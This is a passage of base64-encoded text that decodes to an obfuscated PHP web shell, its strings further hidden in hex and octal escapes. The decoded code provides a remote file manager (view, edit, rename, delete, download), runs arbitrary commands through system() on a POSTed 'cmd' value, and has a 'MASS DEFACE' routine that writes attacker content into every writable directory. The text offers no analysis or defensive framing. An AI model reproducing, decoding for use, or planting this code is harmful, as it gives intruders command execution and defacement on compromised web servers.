0N1x4M2ZceDYxXDE0M1x4NzRcNzVcMTYyXDE0NVx4NmVceDYxXDE1NVx4NjVceDI2XHg3MFw3NXskcGF0aH1ceDI2XDE0Nlx4M2QiIC4gJF9HRVRbIlx4NjYiXSAuICJcNDdcNzZcMTYyXHg2NVwxNTZcMTQxXHg2ZFx4NjVceDNjXHgyZlwxNDFcNzZcNDBceDVkXHgyMFx4NWJceDIwXHgzY1x4NjFceDIwXDE1MFwxNjJcMTQ1XHg2Nlw3NVw0N1w3N1wxNDFcMTQzXDE2NFx4M2RceDY0XDE1N1wxNjdcMTU2XHg2Y1x4NmZcMTQxXDE0NFw0Nlx4NzBceDNkeyRwYXRofVw0Nlx4NjZcNzUiIC4gJF9HRVRbIlwxNDYiXSAuICJcNDdceDNlXHg2NFx4NmZceDc3XHg2ZVx4NmNceDZmXDE0MVwxNDRcNzRcNTdceDYxXDc2XHgyMFwxMzVcNDBceDViXHgyMFw3NFx4NjFceDIwXDE1MFwxNjJcMTQ1XHg2Nlw3NVx4MjdcNzdcMTQxXHg2M1wxNjRceDNkXHg2NFwxNDVcMTU0XDE0NVx4NzRcMTQ1XDQ2XHg3MFx4M2R7JHBhdGh9XDQ2XDE0Nlw3NSIgLiAkX0dFVFsiXHg2NiJdIC4gIlx4MjdcNzZcMTQ0XDE0NVwxNTRcMTQ1XDE2NFx4NjVcNzRceDJmXHg2MVw3Nlw0MFx4NWRceDNjXHgyZlx4NjNcMTQ1XDE1Nlx4NzRceDY1XHg3Mlw3Nlw3NFx4NjJcMTYyXDc2XHgzY1x4MmZcMTY0XHg3Mlw3Nlw3NFw1N1x4NzRcMTQ0XHgzZSI7IGVjaG8gIlx4M2NceDY2XDE1N1x4NzJceDZkXHgyMFwxNTVcMTQ1XHg3NFwxNTBceDZmXHg2NFx4M2RcNDdceDcwXDE1N1wxNjNceDc0XDQ3XDc2XHhhXHg5XHgzY1wxNjRceDcyXDc2XDc0XDE2NFx4NjRceDNlXDc0XHg3NFx4NjVcMTcwXDE2NFx4NjFceDcyXHg2NVwxNDFceDIwXDE1Nlx4NjFceDZkXDE0NVw3NVx4MjdceDczXDE2Mlx4NjNceDI3XHgzZSIgLiAkaHRtKEAkZmd0KCRfR0VUWyJcMTQ2Il0pKSAuICJcNzRceDJmXDE2NFx4NjVcMTcwXDE2NFx4NjFceDcyXDE0NVwxNDFceDNlXHgzY1x4MmZcMTY0XDE2Mlx4M2VceDNjXDU3XHg3NFx4NjRceDNlXHgzY1wxNDJceDcyXDc2XDEyXHg5XDc0XDE2NFx4NzJcNzZcNzRcMTY0XDE0NFw3Nlw3NFx4NjNceDY1XHg2ZVwxNjRceDY1XDE2Mlx4M2VcNzRcMTUxXDE1Nlx4NzBcMTY1XHg3NFw0MFwxNjRcMTcxXHg3MFx4NjVceDNkXDQ3XHg3M1wxNjVceDYyXHg2ZFwxNTFcMTY0XHgyN1x4MjBceDc2XHg2MVx4NmNceDc1XHg2NVw3NVw0N1wxMjNceDYxXHg3Nlx4NjVceDI3XDQwXHg2ZVx4NjFcMTU1XDE0NVx4M2RceDI3XHg3M1wxNDFcMTY2XDE0NVw0N1x4MjBceDczXDE2NFwxNzFceDZjXHg2NVw3NVw0N1wxNjdcMTUxXHg2NFwxNjRceDY4XHgzYVw0MFx4MzVcNjBceDMwXDE2MFwxNzBceDNiXDQ3XDc2XDc0XDU3XHg2M1x4NjVceDZlXHg3NFx4NjVceDcyXDc2XHgzY1x4MmZceDc0XHg3Mlw3Nlx4M2NcNTdcMTY0XHg2NFx4M2VceGFcMTFceDNjXHgyZlx4NjZceDZmXHg3Mlx4NmRceDNlIjsgfSBlbHNlaWYgKCRfR0VUWyJcMTQxXDE0M1wxNjQiXSA9PSAiXDE2Mlx4NjVcMTU2XDE0MVwxNTVcMTQ1IikgeyBpZiAoJF9QT1NUWyJceDY0XDE1N1x4NWZcMTYyXHg2NVwxNTZceDYxXHg2ZFx4NjUiXSkgeyAkcmVuYW1lID0gcmVuYW1lKCRfR0VUWyJceDY2Il0sICJ7JHBhdGh9XHgyZiIgLiAkaHRtKCRfUE9TVFsiXHg3MlwxNDVceDZlXDE0MVx4NmRceDY1Il0pIC4gJycpOyBpZiAoJHJlbmFtZSkgeyAkYWN0ID0gIlx4M2NceDczXDE0M1wxNjJcMTUxXHg3MFx4NzRcNzZcMTY3XDE1MVx4NmVceDY0XHg2ZlwxNjdceDJlXHg2Y1x4NmZcMTQzXDE0MVwxNjRceDY5XHg2ZlwxNTZceDNkXDQ3XDc3XDE2MFx4M2QiIC4gJHBhdGggLiAiXHgyN1w3M1w3NFx4MmZcMTYzXDE0M1wxNjJceDY5XDE2MFwxNjRceDNlIjsgfSBlbHNlIHsgJGFjdCA9ICJcNzRcMTQzXHg2NVx4NmVcMTY0XHg2NVwxNjJceDNlXHgzY1wxNDZcMTU3XDE1NlwxNjRcNDBceDYzXDE1N1wxNTRcMTU3XHg3Mlx4M2RceDcyXHg2NVwxNDRcNzZcMTIwXDE0NVx4NzJcMTU1XHg2OVwxNjNcMTYzXDE1MVwxNTdceDZlXHgyMFwxMDRcMTQ1XHg2ZVx4NjlceDY1XDE0NFx4M2NcNTdcMTQ2XDE1N1x4NmVceDc0XDc2XHgzY1w1N1wxNDNceDY1XDE1NlwxNjRceDY1XHg3Mlw3NiI7IH0gZWNobyAnJyAuICRhY3QgLiAiXHgzY1wxNDJceDcyXDc2IjsgfSBlY2hvICJceDNjXDE2NFx4NzJceDNlXHgzY1wxNjRcMTQ0XDc2XHgzY1wxNDNcMTQ1XHg2ZVx4NzRceDY1XHg3Mlw3Nlx4NDZcMTUxXDE1NFx4NjVceDZlXDE0MVx4NmRcMTQ1XDcyXDQwXDc0XHg2Nlx4NmZcMTU2XDE2NFx4MjBceDYzXDE1N1x4NmNcMTU3XHg3Mlw3NVx4NjJcMTU0XHg3NVx4NjVcNzYiIC4gYmFzZW5hbWUoJF9HRVRbIlx4NjYiXSkgLiAiXDc0XHgyZlwxNDZceDZmXDE1NlwxNjRceDNlXDQwXHg1Ylw0MFx4M2NcMTQxXHgyMFwxNTBcMTYyXDE0NVx4NjZceDNkXDQ3XHgzZlwxNDFcMTQzXHg3NFw3NVwxNjZcMTUxXHg2NVwxNjdceDI2XHg3MFx4M2R7JHBhdGh9XDQ2XDE0Nlx4M2QiIC4gJF9HRVRbIlx4NjYiXSAuICJcNDdcNzZcMTY2XDE1MVwxNDVceDc3XHgzY1x4MmZcMTQxXDc2XDQwXHg1ZFw0MFwxMzNceDIwXDc0XHg2MVw0MFwxNTBcMTYyXHg2NVx4NjZcNzVcNDdceDNmXDE0MVx4NjNcMTY0XDc1XDE0NVx4NjRceDY5XHg3NFw0NlwxNjBceDNkeyRwYXRofVx4MjZcMTQ2XDc1IiAuICRfR0VUWyJcMTQ2Il0gLiAiXHgyN1w3Nlx4NjVcMTQ0XHg2OVwxNjRcNzRcNTdceDYxXDc2XDQwXDEzNVw0MFx4NWJcNDBcNzRceDYxXHgyMFx4NjhceDcyXHg2NVwxNDZceDNkXHgyN1x4M2ZcMTQxXDE0M1x4NzRceDNkXHg3Mlx4NjVceDZlXHg2MVwxNTVceDY1XHgyNlx4NzBceDNkeyRwYXRofVx4MjZceDY2XDc1IiAuICRfR0VUWyJceDY2Il0gLiAiXHgyN1x4M2VcNzRcMTQyXHgzZVx4NzJcMTQ1XDE1NlwxNDFceDZkXHg2NVx4M2NcNTdcMTQyXDc2XHgzY1x4MmZcMTQxXHgzZVw0MFx4NWRcNDBceDViXHgyMFw3NFwxNDFceDIwXDE1MFwxNjJceDY1XHg2Nlw3NVx4MjdcNzdcMTQxXHg2M1x4NzRceDNkXDE0NFwxNTdceDc3XDE1Nlx4NmNcMTU3XDE0MVwxNDRcNDZceDcwXHgzZHskcGF0aH1cNDZcMTQ2XHgzZCIgLiAkX0dFVFsiXDE0NiJdIC4gIlx4MjdcNzZcMTQ0XDE1N1wxNjdcMTU2XHg2Y1wxNTdceDYxXDE0NFx4M2NceDJmXDE0MVx4M2VceDIwXDEzNVx4MjBcMTMzXHgyMFx4M2NcMTQxXDQwXDE1MFx4NzJcMTQ1XDE0Nlw3NVw0N1x4M2ZcMTQxXDE0M1x4NzRceDNkXHg2NFwxNDVcMTU0XDE0NVwxNjRcMTQ1XHgyNlx4NzBceDNkeyRwYXRofVw0NlwxNDZceDNkIiAuICRfR0VUWyJcMTQ2Il0gLiAiXHgyN1x4M2VcMTQ0XDE0NVwxNTRceDY1XDE2NFwxNDVcNzRcNTdcMTQxXHgzZVw0MFx4NWRceDNjXHg3NFwxNjJceDNlXDc0XHg3NFwxNDRceDNlXDc0XHg2M1x4NjVcMTU2XHg3NFx4NjVceDcyXHgzZSI7IGVjaG8gIlw3NFwxNDZceDZmXHg3MlwxNTVceDIwXHg2ZFx4NjVceDc0XHg2OFx4NmZcMTQ0XHgzZFw0N1x4NzBceDZmXHg3M1wxNjRceDI3XDc2XDEyXHg5XDc0XHg3NFx4NzJcNzZcNzRceDc0XHg2NFw3Nlw3NFwxNDNcMTQ1XDE1Nlx4NzRceDY1XDE2Mlw3Nlw3NFwxNTFceDZlXHg3MFwxNjVcMTY0XDQwXHg3NFwxNzFceDcwXHg2NVw3NVw0N1x4NzRcMTQ1XDE3MFwxNjRceDI3XHgyMFx4NzZceDYxXHg2Y1wxNjVceDY1XHgzZFw0NyIgLiBiYXNlbmFtZSgkX0dFVFsiXDE0NiJdKSAuICJceDI3XDQwXDE1Nlx4NjFcMTU1XHg2NVw3NVx4MjdcMTYyXHg2NVwxNTZceDYxXHg2ZFwxNDVceDI3XDQwXDE2M1x4NzRcMTcxXHg2Y1x4NjVceDNkXHgyN1x4NzdcMTUxXDE0NFwxNjRceDY4XHgzYVx4MjBceDM0XDY1XDYwXHg3MFx4NzhceDNiXDQ3XDQwXDE1MFx4NjVcMTUxXDE0N1x4NjhceDc0XDc1XDQ3XDYxXDYwXHgyN1x4M2VceDNjXHgyZlwxNjRcMTYyXHgzZVx4M2NceDJmXHg3NFwxNDRcNzZcNzRceDJmXHg2M1wxNDVceDZlXDE2NFx4NjVcMTYyXDc2XHhhXHg5XDc0XHg3NFwxNjJceDNlXHgzY1wxNjRceDY0XHgzZVx4M2NcMTQzXHg2NVx4NmVceDc0XHg2NVwxNjJcNzZceDNjXHg2OVwxNTZcMTYwXDE2NVwxNjRcNDBceDc0XDE3MVwxNjBcMTQ1XDc1XHgyN1x4NzNcMTY1XDE0Mlx4NmRceDY5XDE2NFw0N1x4MjBcMTU2XDE0MVwxNTVceDY1XDc1XHgyN1wxNDRcMTU3XDEzN1x4NzJcMTQ1XDE1NlwxNDFcMTU1XHg2NVx4MjdcNDBcMTY2XHg2MVwxNTRceDc1XHg2NVw3NVw0N1wxNjJceDY1XDE1NlwxNDFceDZkXDE0NVx4MjdcNzZceDNjXHgyZlx4NzRceDcyXHgzZVx4M2NcNTdceDc0XDE0NFw3Nlw3NFw1N1x4NjNceDY1XDE1NlwxNjRcMTQ1XHg3Mlw3Nlx4YVx4OVx4M2NceDJmXHg2NlwxNTdcMTYyXHg2ZFx4M2UiOyB9IGVsc2VpZiAoJF9HRVRbIlx4NjFcMTQzXDE2NCJdID09ICJcMTQ0XDE0NVx4NmNcMTQ1XDE2NFwxNDUiKSB7ICRkZWxldGUgPSAkdW5sKCRfR0VUWyJceDY2Il0pOyBpZiAoJGRlbGV0ZSkgeyAkYWN0ID0gIlw3NFwxNjNceDYzXHg3Mlx4NjlcMTYwXHg3NFx4M2VceDc3XHg2OVwxNTZceDY0XHg2Zlx4NzdceDJlXHg2Y1wxNTdcMTQzXHg2MVx4NzRceDY5XHg2ZlwxNTZcNzVceDI3XDc3XHg3MFw3NSIgLiAkcGF0aCAuICJceDI3XHgzYlw3NFw1N1wxNjNceDYzXDE2MlwxNTFceDcwXDE2NFx4M2UiOyB9IGVsc2UgeyAkYWN0ID0gIlw3NFwxNDNceDY1XHg2ZVx4NzRceDY1XDE2Mlx4M2VcNzRceDY2XDE1N1wxNTZcMTY0XHgyMFwxNDNceDZmXDE1NFwxNTdcMTYyXDc1XDE2MlwxNDVceDY0XDc2XDEyMFx4NjVceDcyXHg2ZFwxNTFcMTYzXHg3M1wxNTFceDZmXDE1Nlw0MFwxMDRcMTQ1XHg2ZVx4NjlceDY1XHg2NFx4M2NceDJmXDE0Nlx4NmZceDZlXDE2NFw3Nlw3NFx4MmZcMTQzXHg2NVwxNTZceDc0XDE0NVwxNjJceDNlIjsgfSBlY2hvICRhY3Q7IH0gZWxzZWlmICgkX0dFVFsiXDE1MVwxNDQiXSA9PSAiXDE2NFx4NjVcMTYyXDE1NVx4NjlcMTU2XHg2MVwxNTQiKSB7IGlmICgkX1BPU1RbIlx4NjNceDZkXHg2NCJdKSB7ICRjbWQgPSAkX1BPU1RbIlwxNDNcMTU1XHg2NCJdOyB9IGVjaG8gIlwxMlw0MFw0MFx4MjBceDIwXDc0XHg2Mlx4NzJceDNlXHgzY1x4NzRcMTQxXHg2Mlx4NmNceDY1XHgyMFwxNDNceDZjXDE0MVwxNjNceDczXHgzZFx4MjdcMTQ0XHg2NVwxNTVceDZmXDQ3XHgzZVwxMlx4OVw3NFx4NzRceDY4XDE0NVx4NjFceDY0XHgzZVwxMlx4OVw3NFx4NzRcMTYyXDc2XDEyXHg5XHg5XDc0XHg3NFx4NjhceDIwXHg3M1x4NzRcMTcxXDE1NFwxNDVceDNkXDQ3XDE0MlwxNDFceDYzXHg2YlwxNDdceDcyXDE1N1wxNjVceDZlXHg2NFx4MmRceDYzXHg2Zlx4NmNceDZmXHg3Mlx4M2FceDIzXHg0Mlw2Mlw2Mlw2Mlx4MzJcNjJcNzNceDYzXDE1N1wxNTRceDZmXHg3Mlw3Mlw0M1wxMDZcMTA2XHg0Nlx4NDZceDQ2XHg0Nlw3M1x4MjdceDNlXHgzY1wxNDNceDY1XDE1NlwxNjRcMTQ1XHg3Mlw3Nlx4NTRcMTQ1XDE2MlwxNTVceDY5XDE1NlwxNDFceDZjXDc0XHgyZlwxNDNcMTQ1XHg2ZVx4NzRceDY1XHg3Mlx4M2VcNzRceDJmXDE2NFwxNTBceDNlXDEyXHg5XHgzY1x4MmZcMTY0XDE2Mlx4M2VcMTJcMTFceDNjXDU3XHg3NFx4NjhceDY1XDE0MVx4NjRceDNlXDEyXDExXHgzY1x4NzRcMTQyXHg2ZlwxNDRcMTcxXHgzZVx4YVwxMVw3NFwxNjRcMTYyXHgzZVwxMlx4OVwxMVw3NFwxNjRceDY0XDc2XDEyXDQwXDQwXHgyMFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXDQwXDc0XDE2MFx4NzJcMTQ1XHgyMFx4NzNcMTY0XDE3MVx4NmNceDY1XDc1XHgyN1wxNDZceDZmXDE1NlwxNjRceDJkXHg3M1x4NjlcMTcyXDE0NVx4M2FceDMxXDY1XHg3MFx4NzhcNzNceDYzXDE1N1x4NmNcMTU3XHg3Mlx4M2FceDIzXHg0Nlx4NDZcMTA2XHg0Nlx4NDZceDQ2XDczXDQ3XDc2XDc0XHg2N1wxNjJceDNlXHg3ZVw3NFw1N1x4NjdcMTYyXHgzZVw0NFx4MjZcMTU2XDE0Mlx4NzNcMTYwXHgzYlx4M2NcMTYyXDE0NFx4M2V7JGNtZH1cNzRcNTdceDcyXHg2NFw3Nlx4M2NcMTQyXHg3Mlw3Nlw3NFwxNDNcMTU3XDE0NFwxNDVceDNlIjsgc3lzdGVtKCRfUE9TVFsiXHg2M1x4NmRcMTQ0Il0gLiAiXHgyMFx4MzJceDNlXHgyNlw2MSIpOyBlY2hvICJceDNjXHgyZlwxNDNceDZmXDE0NFx4NjVceDNlXHgzY1w1N1wxNjBceDcyXHg2NVx4M2VcMTJcNDBceDIwXHgyMFw0MFw0MFw0MFw0MFx4MjBcNzRcNTdcMTY0XHg2NFx4M2VcMTJcMTFceDNjXDU3XHg3NFwxNjJcNzZceGFcMTFceDNjXHg3NFx4NzJcNzZceGFcNDBceDIwXDQwXDQwXHgyMFx4MjBcNDBceDIwXDc0XDE2NFwxNDRceDNlXDEyXHgyMFw0MFx4MjBcNDBceDIwXDQwXDQwXHgyMFx4MjBceDIwXHgyMFx4MjBceDNjXHg2Nlx4NmZcMTYyXDE1NVx4MjBceDZkXDE0NVwxNjRcMTUwXHg2Zlx4NjRceDNkXHgyN1x4NTBceDRmXHg1M1x4NTRcNDdceDNlXDEyXHgyMFx4MjBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgzY1x4NzRcMTYyXHgzZVw3NFwxNjRceDY0XHgzZVw3NFx4NjlceDZlXDE2MFwxNjVcMTY0XHgyMFwxNjRcMTcxXHg3MFx4NjVcNzVcNDdcMTY0XDE0NVx4NzhceDc0XHgyN1w0MFwxNjNceDc0XHg3OVwxNTRceDY1XDc1XDQ3XDE2N1wxNTFcMTQ0XHg3NFx4NjhcNzJcNDBcNjFcNjBceDMwXHgyNVx4M2JceDI3XDQwXHg2OFwxNDVceDY5XHg2N1wxNTBcMTY0XDc1XHgyN1w2MVx4MzBceDI3XHgyMFx4NmVcMTQxXDE1NVwxNDVceDNkXDQ3XHg2M1wxNTVcMTQ0XDQ3XDQwXHg3NlwxNDFcMTU0XHg3NVx4NjVcNzVceDI3XHgyN1w0MFwxNjBcMTU0XHg2MVx4NjNceDY1XDE1MFwxNTdcMTU0XHg2NFwxNDVceDcyXHgzZFw0N1wxNjdcMTUwXDE1N1x4NjFcMTU1XHg2OVw0N1x4MjB7JHRpdGxlfVx4M2VcNzRcNTdcMTY0XHg3Mlw3Nlx4M2NceDJmXDE2NFwxNDRcNzZceGFceDIwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgzY1x4NzRcMTYyXHgzZVx4M2NceDc0XHg2NFw3Nlx4M2NceDYzXHg2NVwxNTZcMTY0XHg2NVwxNjJceDNlXDc0XHg2MlwxNjVcMTY0XDE2NFx4NmZceDZlXHgyMFx4NzNcMTY0XDE3MVx4NmNcMTQ1XDc1XDQ3XDE0MlwxNDFceDYzXHg2YlwxNDdcMTYyXDE1N1x4NzVceDZlXDE0NFw1NVwxNDNcMTU3XDE1NFx4NmZceDcyXHgzYVw0M1wxMDJcNjJceDMyXDYyXDYyXDYyXDczXHg2M1wxNTdcMTU0XHg2ZlwxNjJcNzJceDIzXDEwNlx4NDZcMTA2XDEwNlwxMDZcMTA2XHgyN1x4MjBceDc0XHg3OVwxNjBcMTQ1XDc1XDQ3XDE2M1x4NzVcMTQyXDE1NVwxNTFcMTY0XHgyN1w3Nlw3Nlw3Nlx4M2VceDNjXDU3XDE0Mlx4NzVceDc0XHg3NFwxNTdceDZlXHgzZVx4M2NcNTdceDc0XDE2Mlw3Nlw3NFw1N1x4NzRcMTQ0XDc2XHgzY1x4MmZcMTQzXHg2NVx4NmVcMTY0XDE0NVwxNjJcNzZceGFcNDBcNDBceDIwXHgyMFw0MFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4MjBceDNjXHgyZlwxNDZceDZmXHg3MlwxNTVcNzZceGFceDIwXDQwXHgyMFx4MjBcNDBceDIwXDQwXDQwXDc0XHgyZlwxNjRceDY0XDc2XHhhXHg5XDc0XHgyZlwxNjRceDcyXHgzZVx4YVx4OVx4M2NceDJmXDE2NFwxNDJcMTU3XDE0NFx4NzlceDNlIjsgfSBlbHNlaWYgKCRfR0VUWyJceDY5XDE0NCJdID09ICJceDZkXDE0MVwxNjNceDczIikgeyBmdW5jdGlvbiBzYWJ1bl9tYXNzYWwoJHBhdGgsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpIHsgJGlzZCA9ICJcMTUxXDE2M1wxMzdcMTQ0XHg2OVx4NzIiOyAkc2NkID0gIlwxNjNceDYzXDE0MVwxNTZcMTQ0XDE1MVwxNjIiOyAkaXN3ID0gIlx4NjlceDczXHg1Zlx4NzdcMTYyXDE1MVwxNjRcMTQxXHg2MlwxNTRceDY1IjsgJGZwdCA9ICJceDY2XHg2OVwxNTRcMTQ1XDEzN1x4NzBceDc1XHg3NFx4NWZcMTQzXDE1N1wxNTZceDc0XDE0NVx4NmVceDc0XDE2MyI7IGlmICgkaXN3KCRwYXRoKSkgeyAkZGlyYSA9ICRzY2QoJHBhdGgpOyBmb3JlYWNoICgkZGlyYSBhcyAkZGlyYikgeyAkZGlyYyA9ICJ7JHBhdGh9XHgyZnskZGlyYn0iOyAkbG9rYXNpID0gJGRpcmMgLiAiXDU3IiAuICRuYW1hZmlsZTsgaWYgKCRkaXJiID09PSAiXDU2IikgeyAkZnB0KCRsb2thc2ksICRpc2lfc2NyaXB0KTsgfSBlbHNlaWYgKCRkaXJiID09PSAiXHgyZVx4MmUiKSB7ICRmcHQoJGxva2FzaSwgJGlzaV9zY3JpcHQpOyB9IGVsc2UgeyBpZiAoJGlzZCgkZGlyYykpIHsgaWYgKCRpc3coJGRpcmMpKSB7IGVjaG8gIlw3NFx4NjNceDY1XHg2ZVwxNjRcMTQ1XHg3Mlw3Nlx4NWJcNDBceDNjXHg2NlwxNTdcMTU2XHg3NFx4MjBcMTQzXHg2Zlx4NmNceDZmXDE2Mlw3NVx4NmNceDY5XDE1NVwxNDVceDNlXDEwNFwxMTdceDRlXHg0NVw3NFx4MmZceDY2XHg2ZlwxNTZcMTY0XDc2XDQwXDEzNVw0MFx4M2VceDNlXDc2XHgyMHskbG9rYXNpfVx4M2NcMTQyXHg3Mlw3Nlx4M2NceDJmXDE0M1wxNDVceDZlXDE2NFwxNDVceDcyXDc2IjsgJGZwdCgkbG9rYXNpLCAkaXNpX3NjcmlwdCk7ICRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsICRuYW1hZmlsZSwgJGlzaV9zY3JpcHQpOyB9IH0gfSB9IH0gfSBmdW5jdGlvbiBzYWJ1bl9iaWFzYSgkcGF0aCwgJG5hbWFmaWxlLCAkaXNpX3NjcmlwdCkgeyAkaXNkID0gIlwxNTFcMTYzXDEzN1x4NjRceDY5XHg3MiI7ICRzY2QgPSAiXDE2M1wxNDNceDYxXHg2ZVx4NjRceDY5XDE2MiI7ICRpc3cgPSAiXDE1MVx4NzNceDVmXDE2N1x4NzJcMTUxXDE2NFwxNDFcMTQyXDE1NFx4NjUiOyAkZnB0ID0gIlx4NjZceDY5XHg2Y1x4NjVcMTM3XDE2MFx4NzVceDc0XDEzN1x4NjNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVx4NzRceDczIjsgaWYgKCRpc3coJHBhdGgpKSB7ICRkaXJhID0gJHNjZCgkcGF0aCk7IGZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7ICRkaXJjID0gInskcGF0aH1cNTd7JGRpcmJ9IjsgJGxva2FzaSA9ICRkaXJjIC4gIlw1NyIgLiAkbmFtYWZpbGU7IGlmICgkZGlyYiA9PT0gIlx4MmUiKSB7ICRmcHQoJGxva2FzaSwgJGlzaV9zY3JpcHQpOyB9IGVsc2VpZiAoJGRpcmIgPT09ICJceDJlXHgyZSIpIHsgJGZwdCgkbG9rYXNpLCAkaXNpX3NjcmlwdCk7IH0gZWxzZSB7IGlmICgkaXNkKCRkaXJjKSkgeyBpZiAoJGlzdygkZGlyYykpIHsgZWNobyAiXHgzY1x4NjNceDY1XDE1NlwxNjRcMTQ1XHg3Mlx4M2VceDViXDQwXHgzY1x4NjZceDZmXHg2ZVwxNjRcNDBceDYzXHg2Zlx4NmNceDZmXDE2Mlx4M2RcMTU0XDE1MVwxNTVceDY1XDc2XDEwNFwxMTdceDRlXHg0NVw3NFw1N1x4NjZceDZmXHg2ZVwxNjRceDNlXDQwXHg1ZFw0MFw3Nlx4M2VcNzZcNDB7JGRpcmJ9XHgyZnskbmFtYWZpbGV9XHgzY1wxNDJceDcyXDc2XHgzY1x4MmZceDYzXDE0NVwxNTZcMTY0XDE0NVwxNjJcNzYiOyAkZnB0KCRsb2thc2ksICRpc2lfc2NyaXB0KTsgfSB9IH0gfSB9IH0gaWYgKCRfUE9TVFsiXHg3M1wxNjRcMTQxXDE2Mlx4NzQiXSkgeyBpZiAoJF9QT1NUWyJceDc0XDE1MVx4NzBceDY1XDEzN1wxNjNceDYxXHg2MlwxNjVcMTU2Il0gPT0gIlwxNTVcMTQxXDE1MFwxNDFceDZjIikgeyBlY2hvICJceDNjXHg2NFwxNTFceDc2XDQwXHg3M1wxNjRcMTcxXHg2Y1wxNDVceDNkXHgyN1wxNTVceDYxXDE2MlwxNDdceDY5XHg2ZVx4M2FcNDBcNjVcMTYwXHg3OFw0MFwxNDFceDc1XHg3NFx4NmZcNzNcNDBceDcwXDE0MVx4NjRcMTQ0XHg2OVx4NmVceDY3XHgzYVw0MFx4MzVceDcwXDE3MFx4MjdceDNlIjsgc2FidW5fbWFzc2FsKCRfUE9TVFsiXHg2NFwxMzdcMTQ0XDE1MVwxNjIiXSwgJF9QT1NUWyJcMTQ0XDEzN1x4NjZceDY5XDE1NFwxNDUiXSwgJF9QT1NUWyJceDczXDE0M1x4NzJceDY5XHg3MFwxNjQiXSk7IGVjaG8gIlx4M2NcNTdceDY0XHg2OVwxNjZceDNlIjsgfSBlbHNlaWYgKCRfUE9TVFsiXHg3NFwxNTFcMTYwXDE0NVwxMzdceDczXHg2MVwxNDJcMTY1XDE1NiJdID09ICJcMTU1XDE2NVx4NzJcMTQxXHg2OCIpIHsgZWNobyAiXHgzY1wxNDRceDY5XHg3Nlw0MFwxNjNceDc0XDE3MVx4NmNceDY1XDc1XHgyN1x4NmRcMTQxXHg3MlwxNDdceDY5XHg2ZVw3Mlw0MFx4MzVcMTYwXHg3OFw0MFwxNDFcMTY1XDE2NFwxNTdceDNiXHgyMFwxNjBcMTQxXDE0NFx4NjRceDY5XDE1Nlx4NjdceDNhXDQwXHgzNVwxNjBcMTcwXHgyN1w3NiI7IHNhYnVuX2JpYXNhKCRfUE9TVFsiXHg2NFx4NWZcMTQ0XHg2OVwxNjIiXSwgJF9QT1NUWyJceDY0XDEzN1wxNDZcMTUxXDE1NFx4NjUiXSwgJF9QT1NUWyJceDczXHg2M1x4NzJceDY5XDE2MFx4NzQiXSk7IGVjaG8gIlx4M2NcNTdceDY0XDE1MVwxNjZceDNlIjsgfSB9IGVsc2UgeyBlY2hvICJceDNjXHg3NFwxNDFcMTQyXHg2Y1wxNDVcNzZcNzRcMTQzXDE0NVwxNTZceDc0XHg2NVx4NzJcNzYiOyBlY2hvICJceDNjXHg2Mlx4M2VcNzRcMTQ2XDE1N1wxNTZceDc0XDQwXHg2M1wxNTdceDZjXHg2ZlwxNjJceDNkXDE2N1wxNTBcMTUxXDE2NFx4NjVceDNlXDExNVx4NDFceDUzXDEyM1w0MFwxMDRceDQ1XDEwNlwxMDFceDQzXDEwNVw3NFw1N1wxNDJceDNlXHgzY1x4MmZceDY2XDE1N1wxNTZcMTY0XDc2IjsgZWNobyAiXHgzY1x4NjZceDZmXDE2MlwxNTVcNDBcMTU1XHg2NVx4NzRcMTUwXHg2Zlx4NjRcNzVceDI3XHg3MFx4NmZcMTYzXHg3NFw0N1x4M2VcMTJceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw3NFx4NjZceDZmXDE1NlwxNjRceDIwXHg2M1wxNTdcMTU0XDE1N1x4NzJceDNkXHg3N1x4NjhceDY5XHg3NFx4NjVcNzZceDU0XDE3MVwxNjBceDY1XDcyXHgzY1w1N1x4NjZcMTU3XDE1NlwxNjRceDNlXHgzY1x4NjJceDcyXDc2XHhhXDQwXDQwXDQwXDQwXDQwXDQwXHgyMFw0MFx4M2NceDY5XDE1Nlx4NzBceDc1XDE2NFx4MjBceDc0XHg3OVwxNjBceDY1XHgzZFw0N1x4NzJceDYxXHg2NFwxNTFceDZmXDQ3XHgyMFx4NmVceDYxXDE1NVwxNDVcNzVcNDdceDc0XHg2OVx4NzBceDY1XHg1Zlx4NzNcMTQxXHg2Mlx4NzVceDZlXDQ3XHgyMFx4NzZcMTQxXDE1NFwxNjVcMTQ1XDc1XHgyN1wxNTVceDc1XDE2Mlx4NjFceDY4XHgyN1x4MjBceDYzXHg2OFwxNDVcMTQzXDE1M1wxNDVceDY0XDc2XHgzY1wxNDZceDZmXHg2ZVx4NzRcNDBcMTQzXDE1N1wxNTRcMTU3XHg3Mlx4M2RcMTY3XHg2OFx4NjlceDc0XHg2NVw3Nlx4NDdcMTQ1XHg2ZVwxNDVceDcyXHg2MVx4NmNceDIwXHg3Y1w0MFx4M2NcMTUxXDE1Nlx4NzBceDc1XHg3NFx4MjBcMTY0XHg3OVwxNjBcMTQ1XDc1XDQ3XDE2Mlx4NjFceDY0XDE1MVx4NmZceDI3XDQwXDE1NlwxNDFcMTU1XDE0NVw3NVw0N1wxNjRceDY5XDE2MFwxNDVcMTM3XDE2M1x4NjFceDYyXHg3NVx4NmVcNDdceDIwXDE2Nlx4NjFcMTU0XDE2NVx4NjVceDNkXHgyN1wxNTVceDYxXDE1MFx4NjFcMTU0XDQ3XHgzZVwxMDJcMTY1XDE1NFx4NmJcNzRceDYyXDE2Mlx4M2VceGFcNDBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXDc0XHg2Nlx4NmZcMTU2XDE2NFx4MjBcMTQzXDE1N1x4NmNcMTU3XDE2Mlw3NVx4NzdcMTUwXDE1MVwxNjRcMTQ1XDc2XDEwNlx4NmZcMTU0XHg2NFwxNDVceDcyXHgzYVx4M2NcNTdcMTQ2XDE1N1x4NmVcMTY0XDc2XDc0XDE0MlwxNjJceDNlXDEyXHgyMFw0MFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXDc0XDE1MVwxNTZceDcwXHg3NVx4NzRceDIwXDE2NFx4NzlcMTYwXHg2NV